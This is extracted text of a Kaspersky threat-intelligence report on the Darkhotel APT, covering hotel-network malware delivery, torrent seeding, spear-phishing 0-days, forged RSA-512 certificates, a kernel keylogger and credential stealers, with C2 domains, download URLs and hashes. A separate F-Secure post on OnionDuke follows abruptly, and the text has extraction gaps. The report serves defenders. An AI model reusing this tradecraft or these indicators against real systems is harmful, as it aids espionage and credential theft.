The following list presents a set of characteristics for the crew: operational competence to compromise, mis-use, and maintain access to global scale,  trusted commercial network resources with strategic precision for years advanced mathematical and crypto-analytical offensive capabilities, along with no regard for undermining the trust extended to the Certificate Authorities and the PKI indiscriminately infect systems with some regional clarity over trusted and untrusted resources to build and operate large botnets well-developed low level keyloggers within an effective and consistent toolset a focus throughout campaigns on specific victim categories and tagging them a larger, dynamic infrastructure built of apache webservers, dynamic dns records, crypto libraries, and php webapps regular 0-day access - recent deployment of an embedded Adobe Flash 0-day spear-phishing exploit, and infrequent deployment of other 0-day resources to sustain larger campaigns over several years mailto:intelreports40kaspersky.com?subject 4 TLP: Green For any inquiries, please contact intelreportskaspersky.com Introduction When unsuspecting guests, including situationally aware corporate executives and high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, they are infected with a rare APT Trojan posing as any one of several major software releases.
These might be GoogleToolbar, Adobe Flash, Windows Messenger, etc.
This first stage of malware helps the attackers to identify more significant victims, leading to the selective download of more advanced stealing tools.
At the hotels, these installs are selectively distributed to targeted individuals.
This group of attackers seems to know in advance when these individuals will arrive and depart from their high-end hotels.
So, the attackers lay in wait until these travelers arrive and connect to the Internet.
The FBI issued advisories about similar hotel incidents Australian government offi- cials produced similar, newsworthy accounts when they were infected.
While an FBI announcement related to attacks on hotel guests overseas appeared in May 2012, related Darkhotel samples were already circulating back in 2007.
And available Darkhotel server log data records connections as early as Jan 1, 2009.
Addition- ally, seeding p2p networks with widely spread malware and 0-day spear-phishing attacks demonstrate that the Darkhotel APT maintains an effective toolset and a long-running operation behind the questionable hospitality it shows its guests.
5 TLP: Green For any inquiries, please contact intelreportskaspersky.com Analysis Delivery - Hotels/Business Centers and Indiscriminate Spread Hotels and Business Centers Spread The Darkhotel APTs precise malware spread was observed in several hotels networks, where visitors connecting to the hotels Wi-Fi were prompted to install software updates to popular software packages.
Of course, these packages were really installers for Darkhotel APTs backdoors, added to legitimate installers from Adobe and Google.
Digitally signed Darkhotel backdoors were installed alongside the legitimate packages.
The most interesting thing about this delivery method is that the hotels require guests to use their last name and room number to login, yet only a few guests received the Darkhotel package.
When visiting the same hotels, our honeypot research systems couldnt attract a Darkhotel attack.
This data is inconclusive, but it points to misuse of check-in information.
6 TLP: Green For any inquiries, please contact intelreportskaspersky.com Abusing Network Infrastructure The Darkhotel actor maintained an effective intrusion set at hotel networks, providing ample access to unexpected points of attack over several years.
These staging points also provide the attackers with access to check-in/check-out and identity information of visitors to high-end and luxury hotels.
As a part of an ongoing investigation, our research led us to embedded iframes within hotel networks that redirected individuals web browsers to phony install- ers.
The attackers were very careful with the placement of these iframes and executables on trusted resources - the hotels network login portals themselves.
The attackers were also very careful to immediately delete all traces of their tools as soon as an attack was carried out successfully.
Those portals are now reviewed, cleaned and undergoing a further review and hardening process.
We observed traces of a couple of these incidents in late 2013 and early 2014 on a victim hotels network.
The attackers set up the environment and hit their individual targets with precision.
As soon as their targets stay was over and the attack-frame was closed, the attackers deleted their iframe placement and backdoored executables from the hotel network.
The attackers successfully de- leted traces of their work from earlier attacks in another hotel, but their offensive techniques were the same.
Outside reports of the same activity at other hotels provide enough data to confirm the same careful operations there.
The attack technique blurs the line between a couple of common APT tactics fairly inaccurate watering holes or strategic web compromises and more accurate spearphishing techniques.
In this case, the Darkhotel attackers wait for their victim to connect to the Internet over the hotel Wi-Fi or the cable in their room.
There is a very strong likelihood the targets will connect over these resourc- es, and the attackers rely on that likelihood, much like at a watering hole.
But the attackers also maintain truly precise targeting information over the victims visit, much like they would know a victims email address and content interests in a spearphishing attack.
While setting up the attack, the Darkhotel attackers knew the targets expected arrival and departure times, room number, and full name, among other data.
This data enables the attackers to present the malicious iframe precisely to that individual target.
So, here we have yet another unique characteristic of this attacker - they employ a loosely certain but highly precise offensive approach.
7 TLP: Green For any inquiries, please contact intelreportskaspersky.com Indiscriminate Spread An example of the Darkhotel APTs indiscriminate malware spreading is dem- onstrated by the way it seeds Japanese p2p sharing sites, where the malware is delivered as a part of a large (approximately 900mb) rar archive.
The archive is also spread over bittorrent, as detailed below.
Darkhotel uses this method to distribute their Karba Trojan.
These Japanese archives, translated for Chinese speaking viewers, appear to be sexual in nature, part of an anime sex/military comic scene, exposing the likely interests of potential targets.
This Darkhotel package was downloaded over 30,000 times in less than six months.
The p2p bittorrent Darkhotel offering is listed here, posted on 2013.11.22.
It was spread throughout 2014.
() []
01-09.rar This torrent serves up an almost 900 mb file.
The rar archive decompresses to adirectory full of encrypted zips, the associated decryptor and a password file for decrypting the zips.
But what looks like the AxDecrypt.exe decryptor is bound to both the true decryptor and the dropper for the Darkhotel Catch.exe Karba Trojan.
When a user downloads the torrent and decrypts the zip files, the trojan surrepti- tiously is installed and run on the victim system.
Catch.exe, detected as Backdoor.
Win32.Agent.dgrn, communicates with the fol- lowing Darkhotel command and control servers: microdelta.crabdance.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com 8 TLP: Green For any inquiries, please contact intelreportskaspersky.com Other examples of this Darkhotel backdoor bound within a shared torrent include adult content Japanese anime and more.
There are tens of thousands of down- loads of these individual torrents.
torrent\[hgd][]comic17[5.08g][ ][]\\(comic17) [ (, )]  -shinogi- () [] and \[hgd][]comic17[5.08g][][ ]\) The associated Darkhotel backdoor was hosted on bittorrent, emule, etc, under a variety of comic names.
Examples include comics and anime offerings.
Related Darkhotel command and control server domains include: microblo5.mooo.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com Darkhotel Spear-phishing Campaigns Darkhotel campaigns involving typical spear-phished Tapaoux implants publicly appeared in bits and pieces several times over the past five years.
These subproject efforts targeted defense industrial base (DIB), government, and NGO organizations.
Email content on topics like nuclear energy and weaponry capabilities was used as a lure.
Early accounts were posted on contagio describing attacks onNGO organi- zations and government policy makers.
This spear-phishing activity continues into 2014.
The attacks follow the typical spear-phishing process and in the past couple of months, exploited systems retrieved downloader executables from web servers like hxxp://office-revision.com/update/files22/update.exe or hxxp://trade-inf.com/mt/ duspr.exe Over the past few years the group has emailed links that redirect targets brows- ers to Internet Explorer 0-day exploits.
Sometimes the attachment itself includes an Adobe 0-day exploit.
http://contagiodump.blogspot.com/2010/04/apr-23-link-hta-w-trojanwin32tapaouxa.html 9 TLP: Green For any inquiries, please contact intelreportskaspersky.com Recent 0-day Deployment This crew occasionally deploys 0-day exploits, but burns them when required.
In the past few years, they deployed 0-day spear-phishing attacks targeting Adobe products and Microsoft Internet Explorer, including cve-2010-0188.
In early 2014, our researchers exposed their use of cve-2014-0497, a Flash 0-day de- scribed on Securelist in early February.
The crew spear-phished a set of target systems connected to the Internet through Chinese ISPs, and developed capabilities within the 0-day exploits to handle hardened Windows 8.1 systems.
Its interesting that the Flash objects were embedded in Korean documents titled List of the latest Japanese AV wind and how to use torrents.docx (loose English translation).
The dropped downloader (d8137ded710d83e2339a97ee78494c34) delivered malcode similar to the Information Stealer component functionality summarized below, and detailed in Appendix D. Digital Certificates and Delegitimizing Certificate Authority Trust The Darkhotel actors typically sign their backdoors with digital certificates of one kind or another.
However, the certificates originally chosen by this crew are very interesting because of their weak keys and likely abuse by attackers.
Here is a listing of the certs that were commonly used to sign Darkhotel malcode, requiring advanced mathematical capabilities to factorize the keys at the time.
They are not the only certificates used by the group.
More recent activity suggests that the group has stolen certificates to sign their code.
CA Root Subordinate CA/Issuer Owner Status Valid From Valid To GTE CyberTrust Digisign Server ID (Enrich) flexicorp.jaring.my sha1/ RSA (512 bits) Expired 12/17/2008 12/17/2010 GTE CyberTrust Cybertrust SureServer CA inpack.syniverse.my sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 GTE CyberTrust Cybertrust SureServer CA inpack.syniverse.com sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 GTE CyberTrust Anthem Inc Certificate Auth ahi.anthem.com sha1/ RSA (512 bits) Invalid Sig.
1/13/2010 1/13/2011 http://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ 10 TLP: Green For any inquiries, please contact intelreportskaspersky.com CA Root Subordinate CA/Issuer Owner Status Valid From Valid To GlobalSign Deutsche Telekom CA 5 www.kuechentraum2 4.de sha1/RSA (512 bits) Revoked 10/20/2008 10/25/2009 GTE CyberTrust Digisign Server ID (Enrich) payments.bnm.gov.m y sha1/RSA (512 bits) Invalid Sig.
12/7/2009 12/7/2010 GTE CyberTrust TaiCA Secure CA esupplychain.com.tw sha1/RSA (512 bits) Expired 7/2/2010 7/17/2011 GTE CyberTrust Digisign Server ID (Enrich) mcrs2.digicert.com.
my sha1/RSA (512 bits) Invalid Sig 3/28/2010 3/28/2012 GTE CyberTrust Cybertrust SureServer CA agreement.syniverse.
com sha1/RSA (512 bits) Invalid Sig 2/13/2009 2/13/2011 GTE CyberTrust Cybertrust SureServer CA ambermms.syniverse.
com sha1/RSA (512 bits) Invalid Sig.
2/16/2009 2/16/2011 Equifax Secure eBusiness CA-1 Equifax Secure eBusiness CA-1 secure.hotelreykjavik.i s md5/RSA (512 bits) Invalid Sig 2/27/2005 3/30/2007 GTE CyberTrust Cybertrust Educational CA stfmail.ccn.ac.uk sha1/ RSA (512 bits) Invalid Sig.
11/12/2008 11/12/2011 GTE CyberTrust Digisign Server ID (Enrich) webmail.jaring.my sha1/ RSA (512 bits) Invalid Sig 6/1/2009 6/1/2011 GTE CyberTrust Cybertrust Educational CA skillsforge.londonmet.
ac.uk sha1/RSA (512 bits) Invalid Sig 1/16/2009 1/16/2012 GTE CyberTrust Digisign Server ID (Enrich) anjungnet.mardi.gov.
my sha1/RSA (512 bits) Invalid Sig 9/29/2009 9/29/2011 GTE CyberTrust Anthem Inc Certificate Authority dl-ait-middlewarean them.com sha1/RSA (512 bits) Invalid Sig 4/22/2009 4/22/2010 GTE CyberTrust Cybertrust Educational CA ad-idmapp.cityofbrist ol.ac.uk sha1/RSA (512 bits) Invalid Sig 9/11/2008 9/11/2011 Verisign Verisign Class 3 Secure OFX CA G3 secure2.eecu.com sha1/ RSA (512 bits) Invalid Sig 10/25/2009 10/26/2010 Root Agency Root Agency Microsoft md5/RSA (1024 bits) Invalid Sig 6/9/2009 12/31/2039 11 TLP: Green For any inquiries, please contact intelreportskaspersky.com CA Root Subordinate CA/Issuer Owner Status Valid From Valid To GTE Cybertrust CyberTrust SureServer CA trainingforms.syniverse.
com sha1/RSA (512 bits) Invalid Sig 2/17/2009 2/17/2011 All related cases of signed Darkhotel malware share the same Root Certificate Authority and Intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits).
We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware.
These keys were not stolen.
Many of the certificates were noted in a 2011 Fox-IT post RSA-512 Certificates Abused in the Wild.
To further support this speculation please note the non-specific Microsoft Secu- rity Advisory below, the Mozilla advisory addressing the issue at the time, and the Entrust responses.
From Microsofts security advisory from Thursday, November 10, 2011: Microsoft is aware that DigiCert Sdn.
Bhd, a Malaysian subordinate certifica- tion authority (CA) under Entrust and GTE CyberTrust, has issued 22 certifi- cates with weak 512 bit keys.
These weak encryption keys, when broken, could allow an attacker to use the certificates fraudulently to spoof content, perform phishing attacks, or perform man-in-the-middle attacks against all Web browser users including users of Internet Explorer.
While this is not a vulnerability in a Microsoft product, this issue affects all supported releases of Microsoft Windows.
There is no indication that any certificates were issued fraudulently.
Instead, cryptographically weak keys have allowed some of the certificates to be dupli- cated and used in a fraudulent manner.
Microsoft is providing an update for all supported releases of Microsoft Windows that revokes the trust in DigiCert Sdn.
Bhd.
The update revokes the trust of the following two intermediate CA certificates: Digisign Server ID  (Enrich), issued by Entrust.net Certification Authority (2048) Digisign Server ID (Enrich), issued by GTE CyberTrust Global Root From Mozillas 2011 response: While there is no indication they were issued fraudulently, the weak keys have allowed the certificates to be compromised.
Furthermore, certificates from this CA contain several technical issues.
They lack an EKU extension specifying their intended usage and they have been issued without revocation information.
http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://technet.microsoft.com/enus/security/advisory/2641690 https://blog.mozilla.org/security/2011/11/03/revoking-trust-in-digicert-sdn-bhd-intermediate-certificate-authority/ 12 TLP: Green For any inquiries, please contact intelreportskaspersky.com From Entrusts response: There is no evidence that the Digicert Malaysia certificate authorities have been compromised.
Cracking the keys Here are some notes on the costs and technical requirements of attacking these certificates.
The computing power required to crack and factor an RSA 512 bit key was 5000 and the period of time required was about 2 weeks.
(
see http://lukenotricks.
blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html) In October 2012, Tom Ritter reported that it would cost about 120-150, per- haps even as little as 75.
Going even further back, there was much discussion about the technical meth- ods of cracking these keys: DJ Bernsteins 2001 paper on building a machine reducing the cost of integer factorization with Number Field Sieve techniques, breaking 1024 bit RSA keys.
RSAs reaction and 2002 statement on whether or not 1024 bit RSA keys are broken: NIST offered a table of proposed key sizes for discussion at its key man- agement workshop in November 2001 [7].
For data that needs to be protected no later than the year 2015, the table indicates that the RSA key size should be at least 1024 bits.
For data that needs to be protected longer, the key size should be at least 2048 bits.
Other Tapaoux Certificates Recent Tapaoux attacks and backdoors include malware signed with strong SHA1/RSA 2048 bit certificates, suggesting certificate theft.
CA Root Subordinate CA/Issuer Owner Status Valid From Valid To thawte thawte Primary Root CA Xuchang Hongguang Technology Co.,Ltd.
sha1/RSA (2048bits) Revoked 7/18/2013 7/16/2014 thawte thawte Primary Root CA Ningbo Gaoxinqu zhidian Electric Power Technology Co., Ltd. sha1/RSA (2048bits) Revoked 11/5/2013 11/5/2014 http://www.entrust.net/advisories/malaysia.htm http://lukenotricks.blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html http://lukenotricks.blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html https://twitter.com/TomRittervg/status/263652369257070593 http://cr.yp.to/papers/nfscircuit.pdf http://www.emc.com/emc-plus/rsa-labs/historical/has-the-rsa-algorithm-been-compromised.htm 13 TLP: Green For any inquiries, please contact intelreportskaspersky.com Enhanced Keyloggers and Development One of the most interesting components that we discovered as a part of this cam- paign was the use of a digitally-signed advanced keylogger.
It is clean, well-written, kernel level malcode.
The languages of its strings are a mix of English and Korean.
It is signed with the familiar belinda.jablonskisyniverse.com digital certificate.
This keylogger is dropped by code running within svchost.exe on WinXP SP3, which maintains an interesting debug string: d:\KerKey\KerKey()\KerKey\release\KerKey.pdb Note  means General in Korean It probably was developed as a part of a mid-to-late 2009 project: e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c Keylogger Code This driver package is built to resemble a legitimate low-level Microsoft system device.
It is installed as a system kernel driver Ndiskpro service, described as a Microcode Update Device.
It is slightly surprising that no rootkit functionality hides this service: When loaded, the NDISKPRO.SYS driver hooks both INT 0x01 and INT 0xff, and retrieves keystroke data directly from port 0x60, the motherboard keyboard con- troller itself.
It buffers, then communicates logged user data to the running user mode component.
This component then encrypts and writes the retrieved values ondisk to a randomly named .tmp, file like ffffz07131101.tmp.
This file is located in the same directory as the original dropper, which maintains persistence across reboots with a simple addition to the HKCU run key.
mailto:belinda.jablonskisyniverse.com 14 TLP: Green For any inquiries, please contact intelreportskaspersky.com This keylogger module encrypts and stores gathered data in a log file, as men- tioned previously.
Its encryption algorithm is similar to RC4.
The interesting part is that the module randomly generates the key and stores it in an unexpected place: in the middle of the log file name.
Hence, the numeric part of the filename is used as a seed for the pseudorandom number generator.
The rand function is statically linked to ensure same results on different computers.
15 TLP: Green For any inquiries, please contact intelreportskaspersky.com Interesting Malware Components The Darkhotel toolset consists of multiple components that have been slightly modified over time.
These tools are dropped by hotel installers spoofing legiti- mate software installers, bound within torrent bundles, or dropped by exploits or hypertext linked from spear-phishing emails.
More advanced tools, like the keylogger decribed above, are later downloaded to the victim system by one of these implants.
In a recent case, word docs embed- ded with 0-day flash swf files either dropped these backdoors or downloaded and executed backdoors from remote web servers.
These tools pull down the keylog- ger, steal information from the system, or download other tools.
small downloader information stealer Trojan dropper and self-injector selective infector The most interesting behaviors of these components include highly unusual conditional 180 day command and control communications delay self-kill routines when the system default codepage is set to Korean enhanced Microsoft IntelliForm authentication theft handling infostealer module Internet Explorer, Firefox, and Chrome support campaign or stage ID maintenance virtual machine execution sensitivity selective viral infection routines to focus the spread of malware within organi- zations signed malcode (previously noted) Small Downloader This module is quite small (27Kb) and comes as a part of WinRar SFX file that drops and starts the module from APPDATA\Microsoft\Crypto\DES64v7\msieckc.exe.
This module is designed to update malicious components through recurring checks at the CC server.
It is also capable of removing some older components, the names of which are hardcoded in the body of the malware.
The module adds autorun registry settings to enable an automatic start during system boot.
16 TLP: Green For any inquiries, please contact intelreportskaspersky.com One of the most interesting functions of this executable is its unusual delay and persistence.
If a special file exists on the system, the module will not start calling back to CC server until the special file is 180 days old.
So, if some other critical malicious component was removed during this period, current module backs up and restores access to the system within 6 months.
The component gathers system information and sends it to the Darkhotel com- mand and control servers as detailed in Appendix D. Information Stealer This module is relatively large (455Kb) and comes as a part of a WinRar SFX file that drops and starts the module from APPDATA\Microsoft\Display\DmaUp3.
exe.
The main purpose of the module is to collect various secrets stored on a lo- cal system and upload them to Darkhotel command and control servers: Cached passwords from Internet Explorer 6/7/8/9 (Windows Protected Storage) Mozilla Firefox stored secrets (12.0) Chrome stored secrets Gmail Notifier credentials Intelliform-handled data and credentials: Twitter Facebook Yandex Qip Nifty Mail.ru 126.com email Zapak Lavabit (encrypted email service now shut down) Bigstring Gmx Sohu Zoho Sina Care2 Mail.com 17 TLP: Green For any inquiries, please contact intelreportskaspersky.com Fastmail Inbox Gawab (middle-eastern email service) 163.com Lycos Lycos mail Aol login Yahoo logins Yahoo Japan logins Microsoft Live logins Google login credentials This module is designed to terminate itself on Windows with the system de- fault codepage set to Korean.
Trojan.
Win32.Karba.e This malware is 220Kb in size.
It was built as MFC framework application with a lot of extra calls that should have complicated the analysis of the sample.
It mim- ics a GUI desktop application but it does not create any visible windows or dialogs to interact with local users.
The Trojan collects data about the system and anti- malware software installed on it, and uploads that data to Darkhotel command and control servers.
More technical details are provided in Appendix D. Trojan-Dropper  Injector (infected legitimate files) This malware is 63kb in size.
It is bound to a variety of other software packages that vary in name, but the host package is consistently detected as Virus.
Win32.
Pioneer.dx.
It drops the igfxext.exe selective infector component to disk and runs it.
18 TLP: Green For any inquiries, please contact intelreportskaspersky.com Selective Infector This component is a virus, and is used to selectively infiltrate into other comput- ers via USB or network shares.
First, the virus retrieves all available disks and starting from disk number 4 (D:\) to disk number 20 (Z:\), finds executable files and infects them.
The code simply brute forces the list of mapped removable drives.
During its infection routine, the infector changes the entrypoint of executable files, creates an .rdat section, and inserts a small loader in the section, then puts its main payload in the overlay.
Every infected file has functionality described in Trojan-Dropper  Injector section, so it can collect information about the comput- er, send it to the C2 and download other Darkhotel components as commanded.
Observed downloaded components are signed with a familiar expired certificate from www.esupplychain.com.tw, issued by Cybertrust SureServer CA.
Again, further technical details are provided in Appendix D. Campaign Codes Almost every backdoor in this set maintains an internal campaign code or id, used in initial c2 communications as described above.
Some IDs appear to be related to geographic interests, others do not seem obvious.
We gathered a list of Darkhotel campaign IDs shown below.
Internal IDs and c2 resources overlap across these com- ponents, there is no pattern of distribution according to connectback resources.
The most common id is DEXT87: DEXT87 step2-auto dome1-auto step2-down Java5.22 CRNUL-auto dome-down M1Q84K3H NKEXV1.Q-auto NKstep2-auto PANA(AMB)-auto PANAMERA SOYA2-auto step2-down-u (ULT)Q5SSE.S-down VER1.5.1 VICTORY WINMV1.Q http://www.esupplychain.com.tw/ mailto:Q5SS40E.S?subject 19 TLP: Green For any inquiries, please contact intelreportskaspersky.com Infrastructure and Victims This infrastructure team appears to employ a lesser skillset than top notch campaigns, maintaining weak server configurations with limited monitoring and defensive reactions, and making some simple mistakes.
However, they are ef- fective at maintaining a fully available infrastructure to support new and existing infections.
Overall, victims in our sinkhole logs and KSN data were found across the globe, with the majority in Japan, Taiwan, China, Russia, Korea and Hong Kong.
Sinkhole Domains The following CC domains have been sinkholed and redirected to the Kaspersky Sinkhole Server 42world.net academyhouse.us adobeplugs.net amanity50.biz autocashhh.hostmefree.org autochecker.myftp.biz autoshop.hostmefree.org autoupdatfreeee.coolwwweb.com checkingvirusscan.com dailyissue.net dailypatch-rnr2008.net fenraw.northgeremy.info generalemountina.com goathoney.biz jpnspts.biz jpqueen.biz mechanicalcomfort.net micromacs.org ncnbroadcasting.reportinside.net neao.biz private.neao.biz reportinside.net self-makeups.com self-makingups.com sourcecodecenter.org support-forum.org updatewifis.dyndns-wiki.com 20 TLP: Green For any inquiries, please contact intelreportskaspersky.com Victim Locations - KSN and Sinkhole Data KSN Data Our Kaspersky Security Network detected Darkhotel infections across thousands of machines, mostly related to the Darkhotel p2p campaigns.
These geolocation estimates probably provide the most accurate picture of where Darkhotel activity is occurring.
21 TLP: Green For any inquiries, please contact intelreportskaspersky.com Here is a pie chart to better visualize the proportions of attack activity throughout the world.
As you can see, over 90 of it occurs in the top five countries: Japan, followed by Taiwan, China, Russia and Korea.
22 TLP: Green For any inquiries, please contact intelreportskaspersky.com Sinkhole Data Because the operators very actively build up new command and control serv- ers, it is difficult to sinkhole enough domains to get an accurate overall picture of victim system location based on this data.
Also, many researcher systems are connected to the sinkholed domains.
However, this graph of current sinkhole callbacks presents a low confidence distribution of victim geolocation, with India, Japan, Ireland, Korea, China and Taiwan in the top slots.
Removing India and Ireland, the set more closely matches our KSN data.
Available ddrlog Victim Data Many of these c2s maintain a common directory path that serves a ddrlog.
The ddrlogs appear to maintain callback data that the attackers want to set aside in error logs.
Many of the callback URLs have errors, many are from unwanted IP ranges, and others are clearly unwanted researcher sandbox system callbacks.
A description of the detailed connectback URL values and their xor/base64 encoding scheme is included in the Interesting Malware Trojan.
Win32.Karba.e technical notes in Appendix D. The Darkhotel c2 maintain these directory structures to store and serve ddrlog content: /bin/error/ddrlog /patch/error/ddrlog 23 TLP: Green For any inquiries, please contact intelreportskaspersky.com The following structures appear to be common across servers, but do not pro- duce ddrlog and do not maintain an /error/ directory: /u2/ /u3/ /patch2/ /major/ inor/ /asp/ /update3/ Two ddrlog files report entries starting January 1, 2009 at 9:16 a.m. autozone.000space.com genuinsman.phpnet.us All of the logs maintain a significant number of entries, almost 50,000, with a simple stamp B or L. Those records are formatted in the following manner: 2009.01.01 09:16:00 150.70.xxx.xx -- B 2009.01.01 09:16:33 150.70.xxx.xx -- B 2009.01.01 09:14:52 220.108.x.xxx -- L 2009.01.01 09:16:04 112.70.xx.xx -- L Only 120 IP addresses perform the B checkin, and 90 of these are from the range 150.70.97.x.
This entire range is owned by Trend Micro in Tokyo, JP.
A handful of the remaining addresses, like 222.150.70.228, appear to come from other ranges owned by Trend Micro in JP.
One outlier comes from an El Sal- vadoran ISP, and another is connected to a Japanese ISP.
Approximately 20,000 IP addresses perform the L checkin.
Other ddrlogs may include A tags as well.
The A tag labels unwanted checkins from untargeted locations, like Hungary and Italy.
The B tag labels unwanted checkins from Trend Micro IP ranges.
The L tag labels unwanted checkins from a variety of ranges, but includes odd IP like the loopback address, 127.0.0.1, clearly an error.
Entries in these logs include callback URLs that have spaces and unusual charac- ters that do not conform to the required base64 character dictionary.
24 TLP: Green For any inquiries, please contact intelreportskaspersky.com C2 Communications and Structure Typical main page: For begatrendstone.com, we have the following directory structure: /bin -read_i.php (main CC script) -login.php (unknown, replies Wrong ID()) /bin/error (error logs stored here) -ddrlog /bin/tmp /bin/SElhxxwiN3pxxiAPxxc9 -all.gif /i - encrypted stolen victim system content /L /f For auto2116.phpnet.us, we have the following directory structure: /patch -chkupdate.php (main command and control script) /patch/error -ddrlog The group encrypts victim data on their servers with single user/passkey combi- nations across multiple victims.
When an unauthorized user attempts to access a Darkhotel web interface for victim management without the correct passkey, the html page and table layout renders properly, but all the data values on the page are returned as garbled ciphertext.
25 TLP: Green For any inquiries, please contact intelreportskaspersky.com Victim Management New victim systems appear to be systematically vetted.
The attackers maintain aweb interface to vet these new victim systems.
The attackers first and foremost list and sort victim systems according to their latest c2 check-in.
Collected data probably is presented in order of importance: 1.
users logon name 2.
system CPU and OS 3.
Ping sec, or how far the victim system is from the c2 4.
In, or the process that the attackers dll code executes within 5.
Vac: Antivirus Product identifier 6.
system LAN IP 7.
network WAN IP Here is an example of one of these web pages: 26 TLP: Green For any inquiries, please contact intelreportskaspersky.com Researcher Activity Clearly, some automated analysis activity involving researchers sandbox tools are filling up these logs.
From June 2013 to April 2014 (approximately an 11 month period), in only 15 ddrlog files, we observe almost 7,000 connections from research sandbox systems.
The network connections provide a1 through a3 values identifying a QEMU based sandbox, all sourced from only 485 WAN IP ad- dresses.
Under 30 lan IPs are recorded, all in the same 172.16.2.14-126 range.
This system(s) uses a Dave user account and HOME-OFF-D5F0AC Windows system name.
These characteristics correspond with network activity generated by GFI Soft- wares CWsandbox tools, now owned by ThreatTrack Security.
27 TLP: Green For any inquiries, please contact intelreportskaspersky.com Conclusions For the past seven years, a strong threat actor named Darkhotel, also known as Tapaoux, has carried out a number of successful attacks against a wide range of victims from around the world.
It employs methods and techniques which go well beyond typical cybercriminal behavior.
The Darkhotel crews skillset allows it to launch interesting cryptographical at- tacks, for instance factoring 512 bit RSA keys.
Its use of 0-days is another indica- tor of a strong threat actor.
The targeting of top executives from various large companies around the world during their stay at certain Dark Hotels is one of the most interesting aspects of this operation.
The exact method of targeting is still unknown - for instance, why some people are targeted while others are not.
The fact that most of the time the victims are top executives indicates the attackers have knowledge of their victims whereabouts, including name and place of stay.
This paints a dark, dangerous web in which unsuspecting travelers can easily fall.
While the exact reason why some hotels function as an attacker vector are unknown, certain suspicions ex- ist, indicating possibly a much larger compromise.
We are still investigating this aspect of the operation and will publish more information in the future.
A further interesting trait is the deployment of multiple types of campaigns, both targeted and botnet.
This is becoming more and more common on the APT scene, where targeted attacks are used to compromise high profile victims and botnet style operations are used for massive surveillance or performing other tasks such as launching DDoS attacks on hostile parties or simply upgrading victims to more sophisticated espionage tools.
We expect the Darkhotel crew to continue their activities against DIB, Govern- ment and NGO sectors.
The appendix released with this paper provides technical indicators of compromise which should help victims identify the malicious traffic and enable targets to protect themselves better against attack.
Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: 7-495-797-8700 Fax:  7-495-797-8709 E-mail: infokaspersky.com Website: www.kaspersky.com http://www.kaspersky.com/about/contactinfo/contacts_global_hq mailto:info40kaspersky.com?subject http://www.kaspersky.com
OnionDuke: APT Attacks Via the Tor Network - F-Secure Weblog : News from the Lab Recently, research was published identifying a Tor exit node, located in Russia, that was consistently and maliciously modifying any uncompressed Windows executables downloaded through it.
Naturally this piqued our interest, so we decided to peer down the rabbit hole.
Suffice to say, the hole was a lot deeper than we expected In fact, it went all the way back to the notorious Russian APT family MiniDuke, known to have been used in targeted attacks against NATO and European government agencies.
The malware used in this case is, however, not a version of MiniDuke.
It is instead a separate, distinct family of malware that we have since taken to calling OnionDuke.
But lets start from the beginning.
When a user attempts to download an executable via the malicious Tor exit node, what they actually receive is an executable wrapper that embeds both the original executable and a second, malicious executable.
By using a separate wrapper, the malicious actors are able to bypass any integrity checks the original binary might contain.
Upon execution, the wrapper will proceed to write to disk and execute the original executable, thereby tricking the user into believing that everything went fine.
However, the wrapper will also write to disk and execute the second executable.
In all the cases we have observed, this malicious executable has been the same binary (SHA1: a75995f94854dea8799650a2f4a97980b71199d2, detected as Trojan-Dropper:W32/OnionDuke.
A).
This executable is a dropper containing a PE resource that pretends to be an embedded GIF image file.
In reality, the resource is actually an encrypted dynamically linked library (DLL) file.
The dropper will proceed to decrypt this DLL, write it to disk and execute it.
http://www.leviathansecurity.com/blog/the-case-of-the-modified-binaries/ A flowchart of the infection process Once executed, the DLL file (SHA1: b491c14d8cfb48636f6095b7b16555e9a575d57f, detected as Backdoor:W32/OnionDuke.
B) will decrypt an embedded configuration (shown below) and attempt to connect to hardcoded CC URLs specified in the configuration data.
From these CCs the malware may receive instructions to download and execute additional malicious components.
It should be noted, that we believe all five domains contacted by the malware are innocent websites compromised by the malware operators, not dedicated malicious servers.
A screenshot of the embedded configuration data Through our research, we have also been able to identify multiple other components of the OnionDuke malware family.
We have, for instance, observed components dedicated to stealing login credentials from the victim machine and components dedicated to gathering further information on the compromised system like the presence of antivirus software or a firewall.
Some of these components have been observed being downloaded and executed by the original backdoor process but for other components, we have yet to identify the infection vector.
Most of these components dont embed their own CC information but rather communicate with their controllers through the original backdoor process.
One component, however, is an interesting exception.
This DLL file (SHA1 d433f281cf56015941a1c2cb87066ca62ea1db37, detected as Backdoor:W32/OnionDuke.
A) contains among its configuration data a different hardcoded CC domain, overpict.com and also evidence suggesting that this component may abuse Twitter as an additional CC channel.
What makes the overpict.com domain interesting, is it was originally registered in 2011 with the alias of John Kasai.
Within a two-week window, John Kasai also registered the following domains: airtravelabroad.com, beijingnewsblog.net, grouptumbler.com, leveldelta.com, nasdaqblog.net, natureinhome.com, nestedmail.com, nostressjob.com, nytunion.com, oilnewsblog.com, sixsquare.net and ustradecomp.com.
This is significant because the domains leveldelta.com and grouptumbler.com have previously been identified as CC domains used by MiniDuke.
This strongly suggests that although OnionDuke and MiniDuke are two separate families of malware, the actors behind them are connected through the use of shared infrastructure.
A visualization of the infrastructure shared between OnionDuke and MiniDuke Based on compilation timestamps and discovery dates of samples we have observed, we believe the OnionDuke operators have been infecting downloaded executables at least since the end of October 2013.
We also have evidence suggesting that, at least since February of 2014, OnionDuke has not only been spread by modifying downloaded executables but also by infecting executables in .torrent files containing pirated software.
However, it would seem that the OnionDuke family is much older, both based on older compilation timestamps and also on the fact that some of the embedded configuration data make reference to an apparent version number of 4 suggesting that at least three earlier versions of the family exist.
